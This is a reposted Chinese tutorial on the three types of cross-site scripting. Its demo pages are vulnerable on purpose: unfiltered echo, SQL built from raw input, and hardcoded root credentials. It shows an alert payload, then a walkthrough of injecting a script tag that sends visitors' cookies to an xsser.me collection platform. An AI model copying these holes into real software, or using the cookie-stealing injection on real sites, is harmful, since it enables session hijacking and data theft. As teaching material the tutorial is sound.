XSS跨站腳本攻擊(一)----XSS攻擊的三種類型


一、簡介

 

什么是XSS?

 

百度百科的解釋: XSS又叫CSS  (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。


它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為用戶輸入,從而達到查詢/修改/刪除數據的目的,而在xss攻擊中,通過插入惡意腳本,實現對用戶游覽器的控制,獲取用戶的一些信息。

 

二、分類

 

xss攻擊可以分成兩種類型:

1.非持久型攻擊
2.持久型攻擊

 

非持久型xss攻擊:顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執行,從而達到攻擊目的。

 

持久型xss攻擊:持久型xss,會把攻擊者的數據存儲在服務器端,攻擊行為將伴隨着攻擊數據一直存在。

 

也可以分成三類:

 

反射型:經過后端,不經過數據庫

存儲型:經過后端,經過數據庫

DOM:不經過后端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是通過url傳入參數去控制觸發的。

 

三、原理

 

1.反射型

 

新建一個xss.PHP文件並加入以下代碼:

 

 

[html]  view plain  copy
 
  1. \\XSS反射演示  
  2. <form action="" method="get">  
  3.     <input type="text" name="xss"/>  
  4.     <input type="submit" value="test"/>  
  5. </form>  
  6. <?php  
  7. $xss = @$_GET['xss'];  
  8. if($xss!==null){  
  9.     echo $xss;  
  10. }  


這段代碼中首先包含一個表單,用於向頁面自己發送 GET 請求,帶一個名為xss的參數。 然后 PHP 會讀取該參數,如果不為空,則直接打印出來,這里不存在任何過濾。也就是說,如果xss中存在 HTML 結構性的內容,打印之后會直接解釋為 HTML 元素。

 

 

部署好這個文件,訪問http://localhost/xss.php,直接輸入一個js代碼,比如<script>alert('hack')</script>,

 

 

之后點擊test:

 

 

我們輸入的HTML代碼被執行了。用Firebug查看,我們輸出的內容直接插入到了頁面中,解釋為<script>標簽。

 

 

 

反射型 XSS 的數據流向是:瀏覽器 -> 后端 -> 瀏覽器。

 

 

2.存儲型

 

把xss.php內容改為(同時數據庫中需要配置相應的表):

 

 

[html]  view plain  copy
 
  1. \\存儲XSS演示  
  2. <form action="" method="post">  
  3.     <input type="text" name="xss"/>  
  4.     <input type="submit" value="test"/>  
  5. </form>  
  6. <?php  
  7. $xss=@$_POST['xss'];  
  8. mysql_connect("localhost","root","123");  
  9. mysql_select_db("xss");  
  10. if($xss!==null){  
  11.     $sql="insert into temp(id,payload) values('1','$xss')";  
  12.     $result=mysql_query($sql);  
  13.     echo $result;  
  14. }  



 

用戶輸入的內容還是沒有過濾,但是不直接顯示在頁面中,而是插入到了數據庫。

 

新建show.php,內容為:

 

 

[html]  view plain  copy
 
  1. mysql_connect("localhost","root","root");  
  2. mysql_select_db("xss");  
  3. $sql="select payload from temp where id=1";  
  4. $result=mysql_query($sql);  
  5. while($row=mysql_fetch_array($result)){  
  6.    echo $row['payload'];  
  7. }  


該代碼從數據庫讀取了之前插入的內容,並將其顯示出來。

 

 

先創建一個數據庫xss,創建temp表

 

 

然后訪問xss.php,像之前一樣輸入 HTML 代碼

 

 

點擊test,點擊之后卻發現沒有任何動靜,但事實上,我們的數據已經插入到了數據庫中。

 

 

 

 

當我們訪問show.php查詢這個值的時候,代碼就會被執行。

 

 

存儲型 XSS 的執行位置通常不同於輸入位置。我們可以看出,存儲行 XSS 的數據流向是:

瀏覽器 -> 后端 -> 數據庫 -> 后端 -> 瀏覽器。

 

3.dom-xss

 

把xss.php內容改為

 

 

[html]  view plain  copy
 
  1. <?php  
  2. error_reporting(0); //禁用錯誤報告  
  3. $name = $_GET["name"];  
  4. ?>  
  5. <input id="text" type="text" value="<?php echo $name;?>" />  
  6. <div id="print"></div>  
  7. <script type="text/javascript">  
  8. var text = document.getElementById("text");   
  9. var print = document.getElementById("print");  
  10. print.innerHTML = text.value; // 獲取 text的值,並且輸出在print內。這里是導致xss的主要原因。  
  11. </script>  



 

 

 

DOM-XSS 的數據流向是:URL-->瀏覽器 

 

總結: 在易用上,存儲型XSS > DOM - XSS > 反射型 XSS。

 

注:反射型xss和dom-xss都需要在url加入js代碼才能夠觸發。

 

四、利用

 

通過 XSS 來獲得用戶 Cookie 或其他有用信息,利用平台負責接收並保存這些信息。XSS利用平台有很多種如XSS Shell, BeEF, Anehta, CAL9000。這里使用xsser.me、搭建過程可參考這:http://blog.csdn.net/u011781521/article/details/53895363

 

進入搭建好的xsser.me平台首頁輸入用戶名與密碼進行登錄

 

 

成功之后會顯示主界面,左邊是模塊列表,右邊是項目列表: 

 

 

 

我們點擊左邊“我的項目”旁邊的“創建”按鈕:

 

 

名稱和描述可以隨便取,不影響使用。輸入時候點擊“下一步”按鈕。之后會出現“配置代碼”界面:

 

 

 

 

 

 

點擊下一步、就會看到這個項目的一些信息

 

 

點擊完成。然后我們會在首頁看到我們的新項目,點擊這個項目:

 

 

 

之后點擊項目,進入一個頁面再點擊右上方的查看代碼

 

就可以看到使用方法:

 

 

 

下面就演示下怎么利用

 

把<script src="..."></script>注入到反射型 XSS 的演示頁面中。

 

上面的src="xxxx"是我另外創建的一個項目的地址,把你創建好的那個項目,提供的那個地址放進去,就可以了,雖然這個頁面沒反應,但是xsser.me那個項目就收到消息了。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM